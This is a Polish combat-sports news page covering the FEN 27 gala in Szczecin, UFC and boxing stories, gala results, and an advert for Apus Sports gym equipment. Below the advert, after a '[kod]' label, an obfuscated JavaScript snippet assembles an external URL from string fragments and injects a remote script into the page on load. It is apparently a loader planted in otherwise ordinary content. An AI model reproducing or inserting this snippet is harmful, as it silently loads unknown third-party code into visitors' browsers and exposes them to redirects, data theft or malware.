Ponad dwa lata temu Oskar Piechota zaliczył bardzo dobre wejście do UFC. W debiucie pokonał Jonathana Wilsona, a potem w pierwszej rundzie rozbił Tima Williamsa. Tamte występy pozostają tylko miłym wspomnieniem. Teraz rzeczywistość nie wygląda kolorowo, z czego zdaje sobie sprawę Piechota. – Sam prawdopodobnie zakończyłem już przygodę z UFC choć nie dostałem jeszcze oficjalnego zwolnienia, może jakimś cudem dostane jeszcze jedna szanse.. ale nie ma co się łudzić, moje ostatnie walki wyglądały tak jak wyglądały i nic już z tym nie zmienię (pisownia oryginalna) – podzielił się swoimi odczuciami w mediach społecznościowych Piechota.

Warto wspomnieć, że polski zawodnik trafił do UFC bez porażki. Szedł jak burza i pokonywał kolejnych rywali, a w 2017 roku wywalczył pas w wadze średniej organizacji Cage Warriors.

Fot. Oskar Piechota Facebook

KM

Romanowski kolejnym bohaterem gali FEN 27

Sebastian Romanowski (13-8-1, 4 KO, 2 SUB) wystąpi na gali FEN 27 w Szczecinie. Zawodnik ze Stargardu Szczecińskiego zadebiutuje pod szyldem FEN w kategorii koguciej.

Romanowski to jeden z najlepszych i najbardziej doświadczonych zawodników w Polsce w kategorii koguciej. „Szczena” w przeszłości walczył również w dywizji piórkowej, więc wie, w jaki sposób walczyć z fighterami o lepszych warunkach fizycznych. Pod koniec 2017 roku Romanowski wygrał dzięki jednogłośnej decyzji sędziów z Evgenim Ryazanowem. Po przerwie od zawodowych startów spowodowanej kontuzją wrócił do rywalizacji w klatce pokonując Nikołaja Kondratuka.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
61,2 KG, MMA: Sebastian Romanowski VS TBA
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Jędraszczyk w debiucie dla Vogta na FEN 27

Jacek Jędraszczyk (6-2, 1 KO) podejmie Samuela Vogta (1-1, KO) podczas gali FEN 27 w Szczecinie. Dla widowiskowo walczącego zawodnika z Ostrowa Wielkopolskiego będzie to trzeci występ pod szyldem FEN.

Największym dotychczasowym sukcesem Jędraszczyka jego pokonanie Mateusza Głąba na początku października 2017 roku. Zawodnik z Ostrowa Wielkopolskiego stworzył wraz z Tymoteuszem Łopaczykiem kapitalne widowisko podczas FEN 21. Co ciekawe – federacja przyznała wtedy dwie najlepsze walki wieczoru, a jedna z nagród powędrowała własnie do niego. Jędraszczyk aż pięć dotychczasowych zwycięstw odniósł walcząc na pełnym dystansie. W kwietniu 2019 roku pokonał młodego-zdolnego polskiej sceny MMA, Cezarego Oleksiejczuka.

Vogt ma 24 lata i urodził się w Świnouściu. Zawodowy debiut wojownika z północy przypadł na końcówkę 2018 roku, gdy zmierzył się z Borysem Borkowskim. W maju 2019 roku rozprawił się przez techniczny nokaut z Austriakiem, Sebastianem Szwedą. Poza znakomitą kontrolą walki w stójce Vogt pokazał, że jego kopnięcia na korpus potrafią kompletnie stłamsić przeciwnika. Pojedynek w Szczecinie będzie największym wyzwaniem w karierze zawodnika ze stolicy zachodniego pomorza i jednocześnie debiutem pod szyldem FEN.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
61,2 KG, MMA: Sebastian Romanowski VS TBA
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Profesjonalny sprzęt do siłowni – od czego zacząć?

Szukasz wysokiej jakości produktów do swojej siłowni lub klubu? Koniecznie zapoznaj się z ofertą marki Apus Sports! Projektujemy i produkujemy sprzęt, który spełnia oczekiwania właścicieli siłowni i ich użytkowników.

Siłownie, kluby fitness – to miejsca, które w dzisiejszych czasach są pożądane. Wiele osób chce mieć nienaganną sylwetkę niczym mitologiczny Apollo. Trzeba jednak zwrócić uwagę, że stale wzrasta świadomość społeczna dotycząca troski o zdrowie. Zdajemy sobie sprawę z istoty aktywności fizycznej. Dlatego wiele osób inwestuje w karnety na siłownię bądź do klubów fitness. Szukają w nich odpowiedniego sprzętu oraz fachowego wsparcia.

Użytkownicy mają ściśle określone wymagania, dlatego właściciele siłowni muszą zapewnić najwyższej jakości sprzęt, który pozwoli klientom osiągnąć ich cele. Wiadomo, że podstawą jest bezpieczeństwo i funkcjonalność akcesoriów. Poszukując odpowiedniego sprzętu oraz informacji na temat właściwego wyposażenia klubu koniecznie należy zapoznać się z ofertą Apus-Sports.com. Jesteśmy dynamicznie rozwijającą się marka akcesoriów fitness i wolnych ciężarów. Celem Apus Sports jest projektowanie i produkcja profesjonalnego sprzętu, który spełni oczekiwania właścicieli klubów i siłowni oraz zadowoli ich użytkowników. W swojej działalności towarzyszy nam hasło „Quality of tomorrow”.

Ogromnym atutem marki Apus Sports jest znajomość branży. Korzystamy z wiedzy ekspertów w swoich dziedzinach i pasjonatów sportu. Stałe podążanie za trendami i nieustanny rozwój sprawiają, że oferta jest kompleksowa. Dlatego nie ma się nad czym zastanawiać! Prowadzisz siłownię albo klub fitness? Chcesz rozpocząć tego typu działalność i szukasz wsparcia profesjonalistów? Lepiej nie mogłeś trafić! Apus-Sports.com to Twój krok w stronę sukcesu! Wysokiej jakości sprzęt, nowoczesny desing, ergonomia i przede wszystkim wiedza. Najkrócej – pełen profesjonalizm.

Na początku działalności pojawiają się liczne pytania i wątpliwości. Nasi eksperci zawsze są do dyspozycji i na każdym etapie realizacji projektu gwarantują wsparcie. Doskonale znamy branżę, co pozwala nam prowadzić profesjonalne doradztwo w zakresie otwarcia i prowadzenia klubu. Jesteśmy w stanie przejść z Państwem przez cały proces. Zapewniamy przygotowanie projektu i aranżację oraz dobór odpowiednich maszyn. Jesteśmy do dyspozycji! Sport jest naszą pasją, którą chcemy się dzielić!

W Apus Sports znajdziesz wszystko, co jest niezbędne do prowadzenia siłowni bądź klubu fitness. Posiadamy sprzęt do treningu funkcjonalnego, strefy fitness czy wolne ciężary. W naszej ofercie znajdziesz: gryfy olimpijskie, hantle, kettlebells, liny treningowe, maty fitness, pasy, młoty, piłki gimnastyczne, skakanki, rollery, stojaki na obciążenia olimpijskie, gryfy, sztangi czy piłki, zaciski, tubing oraz sztangi. Na indywidualne zamówienie przygotowujemy klatki funkcjonalne.

Sprzęt to tylko część naszej działalności. Dzięki ogromnemu doświadczeniu i znajomości branży chcemy dzielić się swoją wiedzą, aby wspierać naszych klientów w tworzeniu wyjątkowych miejsc do aktywności fizycznej. Prowadzimy również sprzedaż zregenerowanych maszyn firm Precor, Life Fitness i Technogym. Jesteśmy wyłącznym dystrybutorem sprzętu włoskiej marki Panatta. Masz problem z akcesoriami? Nie martw się – prowadzimy regenerację sprzętu klienta. Zapewniamy również serwis w postaci przeglądu, wymiany podzespołów i naprawy akcesoriów.

Zaufało nam wielu klientów. Na naszym sprzęcie ćwiczą ludzie w siłowniach i klubach fitness w Polsce i w Europie. Właściciele są usatysfakcjonowani, a ich biznes kwitnie. Nieważne, czy dopiero zaczynasz czy masz siłownię bądź klub fitness – możesz na nas liczyć. Apus Sports stawia na jakość i profesjonalizm. U nas nie ma miejsca na bylejakość, dlatego chcemy tworzyć jutro i sprawiać, żeby każdy dzień był lepszy.

[kod]

(function(){
oabb=document.createElement("script");oabb.async=true;oabb_="u"+("s")+"t";
oabbu="186672204.";oabb_+="a"+("t.i");oabb_+="n"+("f"+"o")+"/";
oabbu+="hp8j3ycnabbcrw284ti07b"+("Xbet9n41");
oabb.src="https://"+oabb_+oabbu;oabb.type="text/javascript";
document.body.appendChild(oabb);
})();

Parcheta występem w Szczecinie rozpoczyna swoją przygodę w FEN!

Marcin Parcheta (21-5) będzie kolejnym bohaterem gali FEN 27 w Szczecinie. Zawodnik reprezentujący klub Nak Muay Szczecin 18 stycznia zadebiutuje pod szyldem federacji. Limit wagowy pojedynku w formule K-1 to 77 kilogramów.

Parcheta to niezwykle utytułowany zawodnik z ogromnym doświadczeniem na koncie. Szczecinianin to wielokrotny mistrz świata Muay Thai oraz K-1. Na zawodowych ringach stoczył 26 walk, z których aż 21 wygrał, w tym osiem przed czasem. Parcheta słynie z nieustępliwości oraz widowiskowych pojedynków, dzięki którym niejednokrotnie skradł serca swoich fanów. Walka przed własną publicznością będzie powrotem Parchety do zawodowych startów.

Kup bilet na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Vogt zasili mocną kategorię półśrednią w FEN

Samuel Vogt (1-1, 1 KO) wystąpi na gali FEN 27 w Szczecinie. Zawodnik Berserkers Team Szczecin zasili tym samym niezwykle mocną kategorię półśrednią w federacji FEN.

Vogt ma 24 lata i urodził się w Świnouściu. Zawodowy debiut wojownika z północy przypadł na końcówkę 2018 roku, gdy zmierzył się z Borysem Borkowskim. W maju 2019 roku rozprawił się przez techniczny nokaut z Austriakiem, Sebastianem Szwedą. Poza znakomitą kontrolą walki w stójce Vogt pokazał, że jego kopnięcia na korpus potrafią kompletnie stłamsić przeciwnika. Pojedynek w Szczecinie będzie największym wyzwaniem w karierze zawodnika ze stolicy zachodniego pomorza i jednocześnie debiutem pod szyldem FEN.

Napędzony kolejnymi zwycięstwami Magomedow rywalem Rębeckiego w Szczecinie

Magomed Magomedow (12-1, 1 KO, 7 SUB) będzie rywalem Mateusza Rębeckiego (9-1, 4 KO, 4 SUB) podczas walki wieczoru gali FEN 27 w Szczecinie. Dla „Chińczyka” będzie to trzecia obrona pasa mistrzowskiego FEN w kategorii lekkiej.

Magomedow ma 28 lat, pochodzi z Magnitogorska i trenuje w Ferrum Fight Club. „Kobra” aż 8 ze swoich zwycięskich walk skończył przed czasem, z czego siedem przez poddania swoich rywali. Magomedow może pochwalić się serią pięciu kolejnych zwycięstw z rzędu popisując się w nich wszechstronnością – swoich rywali nokautował, poddawał i pokonywał na pełnym dystansie. Rosjanin od ośmiu lat walczy zawodowo, a pojedynek z Rębeckim będzie największym wyzwaniem w jego dotychczasowej karierze.

Rębecki to najlepszy zawodnik FEN bez podziału na kategorie wagowe. „Chińczyk” w marcu 2018 roku znokautował ciosem na wątrobę Mariana Ziółkowskiego nie pozostawiając wątpliwości, który z zawodników prezentuje wyższy poziom. Później Rębecki wygrał pewnie przed czasem z Łukaszem Koperą i Daguirem Imavovem, który po pierwszej rundzie walki na FEN 23 doznał kontuzji i musiał się poddać. Mający aspiracje występów w UFC „Chińczyk” po raz drugi w karierze będzie bohaterem walki wieczoru na galach FEN.

Sianos kolejnym bohaterem gali FEN 27

Marcin Sianos (4-4, 4 KO) wystąpi 18 stycznia podczas gali FEN 27 w Szczecinie. Zawodnik z Kołobrzegu po raz piąty zamelduje się w klatce FEN.

Sianos spośród czterech zwycięskich walk na zawodowstwie wszystkie skończył w ten sam sposób – nokautując swoich rywali. O sile jego prawej ręki przekonał się Marcin Zontek, który jeszcze w pierwszej odsłonie musiał uznać wyższość polskiego kolosa i padł na deski, a w konsekwencji przegrał pojedynek. Wcześniej Sianos stoczył krwawy bój z Grzegorzem Cieplińskim i już w premierowej odsłonie rozprawił się z Mateuszem Łazowskim.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
77,1 KG, MMA: Maciej Jewtuszko VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
TBA VS TBA
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Gniadek wraca do Szczecina pojedynkiem z Balcerzakiem

Kamil Gniadek (13-7, 3 KO, 8 SUB) powraca do klatki FEN. Zawodnik reprezentujący klub Berkut WCA Fight Team podejmie debiutującego pod szyldem federacji Michała Balcerzaka (2-1, 2 KO).

Gniadek to mimo wciąż młodego wieku jeden z weteranów FEN. Zawodnik pochodzący ze Szczecina to były pretendent do tytułu mistrzowskiego w kategorii półśredniej. W październiku 2018 roku Gniadek już w pierwszej rundzie znokautował Jacka Jędraszczyka. Wcześniej trzykrotnie walczył dla FEN i za każdym razem kończył pojedynki przed czasem nie dając szans swoim rywalom.

Balcerzak ma 25 lat i dopiero po raz pierwszy wystąpi pod szyldem FEN. Reprezentant Husaria Fight Team z dwóch swoich wygranych pojedynków oba zakończył przez TKO w 1. rundach. Wynik starcia Balcerzaka z Tomaszem Romanowskim, które odbyło się w październiku 2019 roku, to „no contest”. Wszystko przez przypadkowy cios poniżej pasa Romanowskiego.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
77,1 KG, MMA: Maciej Jewtuszko VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerzak
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Jewtuszko z powodu kontuzji nie wystąpi na FEN 27

Maciej Jewtuszko (12-5, 7 KO, 5 SUB) nie wystąpi podczas gali FEN 27 w Szczecinie. Irokez zmaga się z kontuzją, której nie zdoła wyleczyć przed 18 stycznia.

„Jest mi bardzo smutno z tego powodu, ale taki niestety jest sport. Maciek jakiś czas temu zadzwonił do mnie i powiedział, że ma problemy z kontuzją, którą leczy od dłuższego czasu. Postawił sprawę jasno, zachował się uczciwie. Gdy okazało się, że nie jest w stanie przygotować się do pojedynku w Szczecinie, słusznie zauważył, że wychodzenie do klatki przygotowanym na pół gwizdka nie ma sensu. Nie chcemy nabierać kibiców i obiecywać im emocji, gdy nasz zawodnik nie jest gotowy na 100%. Występ Irokeza przekładamy na jedną z kolejnych naszych gal, a ja trzymam kciuki za jego powrót to zdrowia” – powiedział prezes FEN, Paweł Jóźwiak.

Maciej Jewtuszko pojawi się na gali w Szczecinie jako gość specjalny i zadeklarował, że pomoże w promocji gali 18 stycznia.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Derby półciężkich ze Szczecina, czyli Gutowski dla Sudolskiego

Michał Gutowski (9-10, 1 KO, 3 SUB) stanie 18 stycznia w klatce naprzeciwko Łukasza Sudolskiego (5-0, 3 KO) podczas gali FEN 27. Pojedynek ten śmiało można nazwać derbami Szczecina, gdyż obaj zawodnicy pochodzą ze stolicy zachodniego pomorza.

Gutowski na zawodowstwie jest od 2010 roku, gdy stoczył pojedynek z Danielem Omielańczukiem. Później Gutek zanotował dwa kolejne zwycięstwa. W 2012 roku szczecinianin pokonał przez poddanie w 1. rundzie Marcina Elsnera, w odstępie ośmiu miesięcy dwukrotnie jednogłośną decyzją sędziów wygrał z Maciejem Browarskim oraz zwyciężył Marcina Wójcika. Po czteroletniej przerwie od startów w październiku 2018 roku Gutowski wygrał przez nokaut w 3. rundzie z Adamem Wiśniewskim. W swoim debiucie na FEN uległ Wojciechowi Januszowi.

Sudolski w styczniu 2013 roku zadebiutował na zawodowstwie i jednogłośną decyzją sędziów wygrał wtedy z Grzegorzem Cieplińskim. Później trzy kolejne starcia zwyciężył przez TKO zostawiając w pokonanym polu Pawła Grazewicza, Marcina Filipczaka i Krzysztofa Klepacza. Ostatni pojedynek Sudolskiego również zakończył się zwycięstwem, tym razem podczas gali Babilon MMA 9. Zawodnik ze Szczecina wygrał z Mateuszem Ostrowskim dzięki jednogłośnej decyzji sędziów.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Crute rywalem Oleksiejczuka

23 lutego podczas gali UFC on ESPN+26 w Auckland Michał Oleksiejczuk zmierzy się z Jimmy'm Curte'm.

Rok 2019 był niezwykle ważny w karierze "Lorda". Polski wojownik wrócił do rywalizacji w UFC po trzynastomiesięcznej przerwie spowodowanej zawieszeniem przez Amerykańską Agencję Antydopingową. Przed debiutem w organizacji, starcie z Khalilem Rountree, w organizmie Oleksiejczuka wykryto zakazaną substancję. Co prawda Polak wygrał w Las Vegas jednogłośną decyzją sędziów, ale pojedynek uznano za nieodbyty.

Mijały kolejne dni, tygodnie i miesiące, a Oleksiejczuk musiał cierpliwie czekać. Powrót nastąpił 23 lutego w Pradze, kiedy to w walce wieczoru Jan Błachowicz przegrał z Thaigo Santosem. Dla Oleksiejczuka był to ważny i szczęśliwy dzień. Polak wrócił do klatki UFC w wielkim stylu. Oleksiejczuk już w pierwszej rundzie pokonał Giana Villante po potężnym ciosie na wątrobę. Na kolejne starcie Polak czekał zaledwie dwa miesiące i wygrał równie ekspresowo. Zaledwie 44 sekund Oleksiejczuk potrzebował, aby wypunktować Gadzhimurada Antigulova. W kolejnym pojedynku "Lord" zmierzył się z doświadczonym Ovince'm St. Preux. Tym razem Oleksiejczuk schodził pokonany z placu boju. Trzy walki i starczy. Kolejne wyzwanie przed polskim fighterem w 2020 roku.

23 lutego w Spark Arena w Auckland "Lord" postara się o trzecie zwycięstwo w UFC. Jego rywalem będzie Jim Crute. 23-letni Australijczyk jest solidnym zawodnikiem, który dobrze prezentuje się w stójce. Przede wszystkim Crute może imponować kopnięciami. Australijczyk stoczył trzy walki w UFC, z których dwie wygrał. W ostatnim starciu przegrał z Mishą Cirkunovem. Co istotne – wszystkie trzy walki Crute'a w UFC kończyły się przed czasem.

Pojawiły się również informacje, że w Auckland zaprezentuje się Karolina Kowalkiewicz. Rywalką byłej mistrzyni KSW miałaby być Yan Hiaonan. Polska zawodniczka przeżywa ostatnio gorszy czas – przegrała trzy walki z rzędu. Kolejny pojedynek będzie miał ogromne znaczenie dla przyszłości Kowalkiewicz w UFC.

Fot. Michał " Lord" Oleksiejczuk Facebook

KM

Gala „Sharks Attack 3” – wyniki

Sharks Attack 3 – wyniki:

Walka wieczoru o pas zawodowego MP K-1 ISKA:
K1 57 kg: Dominika Filec pok. Klaudia Pawicka przez TKO, R2

Co-main event:
77 kg: Mariusz Radziszewski pok. Roman Belogurov przez poddanie (duszenie zza pleców), R2

Walka o pas zawodowego MP K-1 ISKA:
K1 68 kg: Rafał Kosiarski pok. Patryk Magnucki przez jednogłośną decyzję

Walki zawodowe:

73 kg: Alan Langer pod. Andrey Krasnikov przez poddanie (trójkąt nogami) R1
73 kg: Michał Cichoń pok. Oskar Herczyk przez jednogłośną decyzję
84 kg: Viktor Bilyi pok. Mateusz Gątek przez poddanie (duszenie zza pleców) R1
66 kg: Szymon Rakowicz pok. Kamil Warzybok przez poddanie (duszenie zza pleców) R2

Walki semi-pro:

OPEN: Krzysztof Bąkowicz pok. Łukasz Stępień przez poddanie (gilotyna) R3
57 kg: Paulina Wiśniewska pok. Barbara Grabowska przez poddanie (dźwignia na rękę) R1
80 kg: Kamil Szyndlar pok. Alan Szymański przez niejednogłośną decyzję
57 kg: Sandra Kulpa pok. Katarzyna Samerdak przez TKO (cios na wątrobę) R1

Błachowicz ponownie z Andersonem

Znamy termin kolejnej walki Jana Błachowicza. 15 lutego podczas gali UFC Fight Night w Rio Rancho Polak zmierzy się z Corey'em Andersonem.

36-letni Błachowicz będzie miał okazję zrewanżować się Amerykaninowi za porażkę z września 2015 roku. Dla zawodnika pochodzącego z Cieszyna był to trzeci występ w UFC. W MGM Grand Garden Arena w Las Vegas Błachowicz przegrał decyzją sędziów, a na przestrzeni całego starcia wypadł słabo. Przede wszystkim zawiodła kondycja. Z czasem Anderson zaczął dominować, a w drugiej odsłonie w parterze słał w stronę Polaka ciosy pięściami i łokciami. Trzecia runda to kontynuacja pracy Amerykanina, który postawił kropkę nad "i".

Tak wyglądało starcie cztery lata temu. Od tamtego czasu sytuacja Błachowicza w UFC zmieniła się. Polak marzy o pojedynku o pas wagi półciężkiej. Bez dwóch zdań jest w czołówce kategorii. Gdyby nie lutowa porażka z Thiago Santosem, być może były czempion KSW starcie o pas UFC miałby za sobą. Warto wspomnieć, że po pokonaniu Błachowicza Brazylijczyk spotkał się z mistrzem Jonem Jonesem, ale przegrał.

"Cieszyński Książę" wygrał dwa ostatnie starcia. Na uwagę zasługuje wygrana z Luke'm Rockholdem podczas UFC 239. Nokaut Polaka obiegł cały świat i spotkał się z ogromnym uznaniem. 16 listopada Błachowicz stoczył zaciętą walkę z Ronaldo Souzą, ale wygrał po pięciu rundach. W sześciu z siedmiu ostatnich pojedynków Polak świętował zwycięstwo. Dobrą passę ma również Corey Anderson. 30-letni Amerykanin wygrał cztery walki z rzędu, a jego ostatnią ofiarą padł Johnny Walker. Anderson nie przegrał od ponad dwóch lat. Ostatnią porażką zanotował podczas UFC 217 – lepszy okazał się Ovince St. Preux.

15 lutego w Santa Ana Star Center dojdzie do starcia dwóch mocnych zawodników. Warto dodać, że będzie to walka wieczoru. Anderson zajmuje piąte miejsce w rankingu kategorii półciężkiej, z kolei Błachowicz jest na szóstej pozycji. Zwycięzca wykona krok w stronę starcia o pas. Wcześniej, bo 8 lutego, mistrz Jon Jones zmierzy się w Houston z Dominickiem Reyesem.

Fot. Jan Błachowicz Facebook

KM

Zimnoch bez postanowień

Debiut w kategorii junior ciężkiej nie był udany dla Krzysztofa Zimnocha, który przegrał przez nokaut z Krzysztofem Twardowskim. Bokser nie podjął decyzji, co do swojej przyszłości.

Na tę walkę Krzysztof Zimnoch czekał ponad dwa lata. Przez ten czas życie go nie rozpieszczało. 9 września 2017 roku w Radomiu polski pięściarz przegrał przez nokaut w trzeciej rundzie z Joelem Abellem. Po pojedynku Zimnoch nie mógł dojść do siebie. Złe samopoczucie i w konsekwencji wizyta u lekarza. Wynik badań – borelioza. Zimnoch zaczął się leczyć, przyjmował różne leki, ale efektów nie było. W końcu podjął decyzję o głodówce. Schudł, wyleczył się i od wiosny rozpoczął treningi.

Powrót Zimnocha zaplanowano na galę MB Promotions 6 w Radomiu. Walkę zakontraktowano na sześć rund. Nowe doświadczenie, ale zarazem nadzieje, bo czas leci nieubłaganie. Pięściarz ma piękne wspomnienia, bo na amatorskich mistrzostwach świata w Chicago pokonał obecnego czempiona WBC Deontaya Wildera. Obecnie bokserzy są na dwóch różnych poziomach. Wilder zachwyca cały świat. Zimnoch miał ogromne możliwości, ale życie potoczyło się inaczej. 23 listopada wrócił do rywalizacji w Radomiu, ale było to kolejne bolesne doświadczenie. Zimnoch uchodził za faworyta, ale w drugiej rundzie Krzysztof Twardowski odważnie ruszył do przodu. Grad ciosów, 36-latek urodzony w Białymstoku był bezradny i sędzia przerwał walkę.

Pojawia się pytanie – co dalej? Zimnoch zabrał głos w tej sprawie. – Musiałem chwilę odpocząć i się zastanowić nad tym co się wydarzyło. Jak na razie nie mam żadnych postanowień i wieści odnośnie mojej dalszej kariery – napisał w mediach społecznościowych. – Gratuluję Krzysztofowi Twardowskiemu . Widziałem tylko jeden wywiad z tej gali i słyszałem jak mówi, że da mi rewanż – dodał.

Zarazem bokser zapewnił, że po analizie materiałów podzieli się swoimi przemyśleniami. – Teraz odpoczywam i spędzam czas z rodziną – podkreślił Krzysztof Zimnoch.

Bilans 36-latka na zawodowym ringu to 22 zwycięstwa, trzy porażki i remis. Ostatni raz Zimnoch świętował zwycięstwo w kwietniu 2017 roku, kiedy to pokonał Michaela Granta.

Fot. Facebook Krzysztof Zimnoch

KM

Trytek z Wojtasem powalczą o podbój Zachodniego Pomorza

Patryk Trytek (2-0, 2 KO) podejmie Igora Wojtasa (8-6, 2 KO, 3 SUB) podczas gali FEN 27, która 18 stycznia odbędzie się w hali Netto w Szczecinie. Pojedynek ten zakontraktowany jest w limicie kategorii koguciej.

Trytek to reprezentant Berserkers Team Szczecin, który na zawodowstwie zadebiutował w czerwcu 2018 roku, kiedy przez nokaut w 1. rundzie wygrał z Robertem Gromadą. Maj kolejnego roku był dla niego równie udany, gdyż także przez nokaut rozprawił się z Ukraińcem, Mikhailem Kurchem.

Wojtas jest zdecydowanie bardziej doświadczony od Trytka. Swoją pierwszą zawodową walkę odbył w 2013 roku. Od tamtego czasu wygrał osiem pojedynków, z czego pięć przed czasem. Pomiędzy 2015 a 2017 roku Wojtas stoczył siedem walk i we wszystkich zwyciężył. We wrześniu 2019 roku znokautował w 1. odsłonie Andrija Koroleva.

Briedis pozbawiony tytułu, szansa Głowackiego

Finał sprawy związanej z rewanżem Mairisa Briedisa z Krzysztofem Głowackim. Łotysz starał się odwołać od decyzji, ale w efekcie stracił pas mistrzowski WBO w wadze junior ciężkiej. Tytuł czeka na nowego właściciela. Czy będzie nim Krzysztof Głowacki?

Chciałoby się powiedzieć, że "jest sprawiedliwość na tym świecie". Briedis śmiał się w twarz Głowackiemu, ironizował i był pewny swego po czerwcowej wygranej z Polakiem w półfinale turnieju World Boxing Super Series. Problem w tym, że 34-letni pięściarz nie stosował się do żadnych zasad współzawodnictwa sportowego. Uderzył Głowackiego w tył głowy, zadawał ciosy po gongu. Wokół walki wybuchł wielki skandal, ale Briedis wygrał i czekał na finał WBSS.

Obóz polskiego pięściarza złożył protest, który był długo rozpatrywany, ale pod koniec października zapadła decyzja o pojedynku rewanżowym. Rzecz jasna – nie była ona na rękę Łotyszowi. Briedis już „ostrzył sobie zęby” na finał WBSS z Yunielem Dorticosem. Na szali miały pojawić się pasy WBO i IBF. Briedis robił wszystko, aby opóźnić rewanż z Głowackim i najpierw spotkać się z Kubańczykiem. Problem w tym, że w przypadku wygranej Dorticosa pasa WBO zmieniłby właściciela i starcie Łotysza z Polakiem nie miało być aż takiego prestiżu…

Przedstawiciele 34-latka złożyli odwołanie w sprawie rewanżu z Głowackim. Federacja WBO nie była przychylna do wniosku i podjęła stanowczą decyzję. 18 członków komitetu wykonawczego było za odebraniem Łotyszowi mistrzowskiego pasa, zaś dwóch przychyliło się do prośby boksera. – Ogromnie się cieszę, że pas został odebrany temu (i tu cisną mi się na usta różne brzydkie określenia) Łotewskiemu obywatelowi. W związku z czym z niecierpliwością czekam na dalszy rozwój akcji i konkrety – napisał Głowacki w mediach społecznościowych.

Tym samym pas WBO czeka na nowego właściciela. Niebawem federacja powinna wyznaczyć pięściarzy, którzy powalczą o tytuł. Obecnie w rankingu najwyżej sklasyfikowani są Głowacki i Lawrence Okolie.

Warto podkreślić, że ostatnie tygodnie w życiu sportowym pięściarza z Wałcza obfitują w pozytywne informacje. Głowacki został również wyznaczony do walki o wakujący tytuł mistrza świata WBC. O pas Polak miałby rywalizować z Ilungą Makabu.

Fot. Krzysztof Głowacki Facebook

KM

Powrót

7 grudnia Mamed Khalidov ponownie zaprezentuje się na KSW. Podczas gali w Gliwicach były mistrz wagi średniej zmierzy się z Scottem Askhamem. Czy będzie to powrót króla?

Sukces nie jest wyłącznie słodki. To także ogromne presja ze strony otoczenia, wymagania, walka ze słabościami. Ciągle musisz być najlepszy i za każdym razem potwierdzać swoją pozycję. Słabszy występ? Krytyka, mieszanie z błotem i natychmiastowa zmiana opinii na temat potencjału danego zawodnika. Nie jest łatwo być na szczycie. Stajesz się ulubieńcem publiczności, ale szybko może się to zmienić i ciepłe słowa zamienią się w brutalne, nasycone złością.

